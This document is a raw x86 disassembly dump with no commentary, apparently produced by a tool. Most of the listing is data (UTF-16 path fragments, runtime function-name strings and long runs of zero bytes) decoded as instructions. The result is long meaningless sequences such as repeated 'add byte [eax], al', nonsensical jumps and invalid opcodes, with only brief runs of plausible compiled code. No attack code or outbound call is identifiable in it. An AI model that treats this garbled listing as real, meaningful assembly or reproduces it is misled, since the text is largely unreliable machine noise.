add byte [edx], dh
je 0x406e8e
insd dword es:[edi], dx
add byte [eax + eax + 0x62], bl
add byte [ecx], ah
jae 0x406e98
add byte gs:[eax + eax + 0x6e], bl
add byte [eax + eax + 0x73], dh
add byte [ebp], ah
je 0x406ea6
jne 0x406ea8
jo 0x406eaa
pop esp
add byte [ebp], dh
imul eax, dword [eax], 0x73005c
jo 0x406eb6
ja 0x406eb8
imul eax, dword [eax], 0x65007a
outsb dx, byte [esi]
add byte [edi], ah
pop esp
add byte [ebx], dh
jb 0x406ec8
arpl word [eax], ax
pop esp
add byte [edi], dh
imul eax, dword [eax], 0x70007a
popal
add byte [edi], ah
add byte gs:[esi], ch
add byte [ebx], ah
jo 0x406ee0
jo 0x406ee2
add byte [eax], al
add byte [eax], al
add byte [eax], al
jo 0x406f5d
jp 0x406f3e
jae 0x406f5e
jne 0x406f63
arpl word [ebp + 0x4d], sp
outsd dx, dword [esi]
jne 0x406f64
dec esi
outsd dx, dword [esi]
outsb dx, byte [esi]
dec esp
outsd dx, dword [esi]
arpl word [eax], ax
jo 0x406f75
jp 0x406f56
jae 0x406f76
jne 0x406f7b
arpl word [ebp + 0x4d], sp
outsd dx, dword [esi]
jne 0x406f7c
dec esp
outsd dx, dword [esi]
arpl word [eax], ax
add byte [eax], al
add byte [ebp + 0x5f], ch
jo 0x406f8f
jp 0x406f70
jae 0x406f6d
outsd dx, dword [esi]
arpl word [eax], sp
and dword [0x3020], edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
insd dword es:[edi], dx
pop edi
jo 0x406f86
jae 0x406fa6
jne 0x406fab
arpl word [ebp + 0x4d], sp
outsd dx, dword [esi]
jne 0x406fac
jne 0x406fac
dec esi
outsd dx, dword [esi]
outsb dx, byte [esi]
dec esp
outsd dx, dword [esi]
arpl word [eax], sp
and dword [0x3020], edi
add byte [eax], al
insd dword es:[edi], dx
pop edi
jo 0x406fa6
jae 0x406fc6
outsd dx, dword [esi]
jne 0x406fcb
arpl word [ebp + 0x4d], sp
outsd dx, dword [esi]
jne 0x406fcc
jne 0x406fcc
dec esp
outsd dx, dword [esi]
arpl word [eax], sp
and dword [0x3020], edi
and byte [ecx], ah
cmp eax, 0x3020
add byte [eax], al
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], str.fjSCY
push edi
add byte [ecx], ch
jp 0x406f76
add byte [ecx], ah
popal
add byte [edx], dh
jb 0x406f7a
add byte fs:[eax], dl
add byte [eax], dl
push eax
add byte [ecx], ah
add byte [di], ah
cmp al, byte [eax]
popal
add byte [edi], ah
add byte gs:[edx], bh
add byte [edx], bh
add byte [edx], dl
add byte gs:[ebx], dh
cmp al, byte [eax]
push edx
add byte [ebp], ah
jae 0x406f8e
add byte gs:[eax + eax], dh
add byte [eax + eax], dh
add byte [eax], al
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], str.fjSCY
jb 0x406fa2
add byte fs:[edx], dl
outsd dx, dword [esi]
add byte [edi], ch
je 0x406fac
add byte [edx], bh
add byte [edx], bh
add byte [ecx], cl
outsb dx, byte [esi]
add byte [ecx], ch
je 0x406fb8
cmp al, byte [eax]
cmp al, byte [eax]
dec ecx
add byte [esi], ch
imul eax, dword [eax], 0x530074
je 0x406fbc
push ebx
add byte [eax + eax + 0x61], dh
popal
add byte [esi], ch
add byte fs:[ecx], ah
jb 0x406fc6
add byte fs:[edx], al
jne 0x406fcc
add byte [eax + eax + 0x74], dh
add byte [edi], ch
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + eax + 0x3a], ah
je 0x406fce
je 0x406fd0
outsd dx, dword [esi]
add byte [esi], ch
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte fs:[edx], bh
add byte [eax + eax + 0x77], bl
add byte [edi], dh
add byte [edx], dh
je 0x406fee
insd dword es:[edi], dx
add byte [eax + eax + 0x62], bl
add byte [ecx], ah
jae 0x406ff8
add byte gs:[eax + eax + 0x6e], bl
add byte [eax + eax + 0x73], dh
add byte [ebp], ah
je 0x407006
jne 0x407008
jo 0x40700a
pop esp
add byte [ebp], dh
imul eax, dword [eax], 0x73005c
jo 0x407016
ja 0x407018
imul eax, dword [eax], 0x65007a
outsb dx, byte [esi]
add byte [edi], ah
pop esp
add byte [ebx], dh
jb 0x407028
arpl word [eax], ax
pop esp
add byte [edi], dh
imul eax, dword [eax], 0x72007a
outsd dx, dword [esi]
add byte [edi], ch
je 0x40703a
add byte cs:[ebx], ah
jo 0x407040
jo 0x407042
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push edi
add byte [ecx], ch
jp 0x407056
popal
add byte [edx], dh
add byte fs:[edi], bl
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.00413ec0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.00413ec0
jmp 0x4139e5
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x94], edx
cmp dword [ebp - 0x94], 0
je 0x407a3b
push 1
mov ecx, dword [ebp - 0x94]
call fcn.00413fe0
mov dword [ebp - 0xa8], eax
jmp 0x407a45
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0x80], 0
call fcn.00401270
movzx eax, byte [0x6165cc]
test eax, eax
je 0x408066
add byte [eax], al
add cl, dl
add edx, dword [edx + 0x74]
insb byte es:[edi], dx
dec ecx
jo 0x407ae1
inc ecx
jb 0x407ad6
jae 0x407ae6
push esp
outsd dx, dword [esi]
push ebx
je 0x407aea
imul ebp, dword [esi + 0x67], 0x577845
leave
add edx, dword [edx + 0x74]
insb byte es:[edi], dx
dec ecx
jo 0x407afd
xor al, 0x41
jb 0x407af2
jae 0x407b02
push esp
outsd dx, dword [esi]
push ebx
je 0x407b06
imul ebp, dword [esi + 0x67], 0x577845
outsb dx, byte [esi]
add dl, byte [edx + 0x74]
insb byte es:[edi], dx
inc ecx
jo 0x407b13
outsb dx, byte gs:[esi]
push ebp
outsb dx, byte [esi]
imul esp, dword [ebx + 0x6f], 0x74536564
jb 0x407b1a
outsb dx, byte [esi]
push esp
outsd dx, dword [esi]
push ebx
je 0x407b2a
imul ebp, dword [esi + 0x67], 0x2650000
push edx
je 0x407b2e
inc ecx
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
arpl word [ecx + 0x74], sp
dec eax
popal
jo 0x407acf
int 3
push edx
je 0x407b40
dec ecx
jo 0x407b4d
jbe 0x407b0c
xor al, 0x53
push ebx
je 0x407b4d
imul ebp, dword [esi + 0x67], 0x64416f54
jb 0x407b4a
jb 0x407b4a
jae 0x407b5a
jae 0x407b2d
inc ebp
js 0x407b41
add byte [esi + 0x6c745203], bh
dec ecx
outsb dx, byte [esi]
je 0x407b59
jb 0x407b4c
outsd dx, dword [esi]
push ebp
outsb dx, byte [esi]
imul esp, dword [ebx + 0x6f], 0x74536564
outsd dx, dword [esi]
push ebx
je 0x407b75
jb 0x407b6d
imul ebp, dword [esi + 0x67], 0x4e021700
je 0x407b60
outsb dx, byte [esi]
add byte [bx], dl
add byte [edi], dl
add cl, byte [esi + 0x74]
push esp
jb 0x407b7c
imul ebp, dword [esi + 0x61], 0x72506574
outsd dx, dword [esi]
push eax
jb 0x407b86
arpl word [ebp + 0x73], sp
jae 0x407b1c
add bl, al
add al, 0x52
je 0x407b8e
push ebp
outsb dx, byte [esi]
push 0x6c646e61
inc ebp
inc ebp
js 0x407b91
arpl word [ebp + 0x70], sp
je 0x407b9b
jo 0x407ba5
imul ebp, dword [edi + 0x6e], 0x746c6946
jb 0x407b3b
outsd dx, dword [esi]
outsb dx, byte [esi]
inc esi
imul ebp, dword [esp + esi*2 + 0x65], 0x4f00072
push edx
je 0x407bac
invalid
push esi
imul esi, dword [edx + 0x74], 0x556c6175
outsb dx, byte [esi]
ja 0x407bb4
imul ebp, dword [esi + 0x64], 0x4010000
push edx
outsb dx, byte [esi]
add byte fs:[eax], al
add byte [eax], al
add dword [edx + edx*2], eax
je 0x407bc0
dec esp
outsd dx, dword [esi]
outsd dx, dword [esi]
imul esi, dword [ebp + 0x70], 0x46
jo 0x407ba1
inc esi
jne 0x407bcb
arpl word [ecx + ebp*2 + 0x6f], si
outsd dx, dword [esi]
outsb dx, byte [esi]
inc ebp
outsb dx, byte [esi]
je 0x407bd8
jns 0x407b68
add byte [ebx + 2], bh
push edx
je 0x407bda
insb byte es:[edi], dx
inc ebx
popal
jo 0x407be6
jne 0x407be6
inc ebx
inc ebx
outsd dx, dword [esi]
outsb dx, byte [esi]
je 0x407bdf
js 0x407bf0
add byte [edx + 0x6c745203], ah
dec ecx
outsb dx, byte [esi]
imul esi, dword [ebp + edx*2 + 0x6e], 0x646f6369
push ebx
push ebp
outsb dx, byte [esi]
imul esp, dword [ebx + 0x6f], 0x74536564
jb 0x407bfa
je 0x407c02
imul ebp, dword [esi + 0x67], 0x77d0000
outsb dx, byte [esi]
add byte [bx + si], al
jge 0x407b9e
insd dword es:[edi], dx
insd dword es:[edi], dx
insd dword es:[edi], dx
outsd dx, dword [esi]
jbe 0x407c03
add byte [ebp], ah
dec esp
jb 0x407be9
imul esi, dword [ebx + 0x61], 0x54656c62
push 0x64616572
inc ebx
popal
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
jne 0x407c2c
jae 0x407c00
outsd dx, dword [esi]
jb 0x407c01
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax], al
dec edi
pop es
add byte [edi + 7], cl
pop edi
ja 0x407c29
jae 0x407c31
arpl word [ebp + 0x70], bp
add byte [eax], al
add byte [eax], al
add dword [edx], ecx
add al, 0
or dh, byte [esi + eax]
add byte [edx], cl
xor al, byte [esi]
jo 0x407bdd
push es
add al, byte [eax]
push es
xor al, byte [edx]
xor byte [ecx], al
add al, 1
add byte [edx + eax*4], al
add byte [eax], al
add dword [esp + ecx], ebx
add byte [esp], bl
ltr word [esp + edx*2]
ltr word fs:[esp + edx*2]
push cs
add byte [esp + esi], bl
or al, 0
sbb al, 0x52
add byte [edx + edx*2], bl
sbb al, dh
push ss
loopne 0x407c16
adc al, 0xd0
rcl byte [edx]
rcl byte [eax], 0x70
add dword [ecx], ebx
or eax, dword [eax]
sbb dword [edi + eax], esi
sbb dword [esi + eax], esp
sbb dword [ebp + eax], edx
sbb dword [esp + eax], esi
adc al, al
adc byte [eax + 1], dh
sbb dword [ebx], ecx
add byte [ecx], bl
je 0x407c15
add byte [ecx], bl
push es
add byte [ecx], bl
push esp
add eax, 0x4341900
add byte [ecx], bl
xor al, 4
add byte [ecx], bl
loopne 0x407c35
rcl byte [0x10000c0]
add al, 1
add byte [edx], al
add byte [eax], al
add dword [edi], ecx
push es
clts
add byte [edi], cl
pop es
pop es
add byte [edi], cl
xor al, 6
push es
add byte [edi], cl
xor cl, byte [ebx]
jo 0x407c3d
pop es
add al, 0
pop es
xchg edx, eax
add esi, dword [eax + 2]
pushal
add dword [eax], esi
add dword [ecx + eax], eax
add byte [edx + eax*2], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
int 0x5d
and dl, dl
aam 0xff
inc dword [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x7c], 0
movzx ecx, byte [0x6165cc]
test ecx, ecx
je 0x4089d3
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x68], ch
outsb dx, byte [esi]
xchg esi, eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push 0x976e6e
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x4081d9
jbe 0x4081f4
jae 0x4081db
dec esi
add byte [eax], al
or cl, byte [edx]
or eax, 0xa0a0a
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jae 0x408212
jbe 0x408214
jae 0x40820f
dec esi
add byte [eax], al
or cl, byte [edx]
or eax, 0xa0a0a
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x5d], dh
jbe 0x408235
jae 0x40821c
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
add byte [eax], al
jbe 0x408253
jbe 0x408255
jae 0x40823c
push edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
jbe 0x408275
jae 0x40825c
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x408293
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
jbe 0x408294
jbe 0x408295
jbe 0x408293
jae 0x40827c
pop ebx
pop esi
aam 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x4082b3
jbe 0x4082b4
jbe 0x4082b5
jbe 0x4082b3
jae 0x40829c
pop ebx
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x4082d3
jbe 0x4082d4
jbe 0x4082d5
jbe 0x4082d3
jae 0x4082bc
pop ebx
push edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x4082f3
jbe 0x4082f4
jbe 0x4082f5
jbe 0x4082f3
jae 0x4082dc
pop ebx
push edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x408313
jbe 0x408314
jbe 0x408315
jbe 0x408313
jae 0x4082fc
pop ebx
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x408333
jbe 0x408334
jbe 0x408335
jbe 0x408333
jae 0x40831c
pop ebx
imul eax, dword [eax], 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [esi + 0x76], dh
add byte [eax], al
add byte [eax], al
add byte [eax], al
jbe 0x408353
jbe 0x408354
jbe 0x408355
jbe 0x408353
jae 0x40833c
pop ebx
push edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
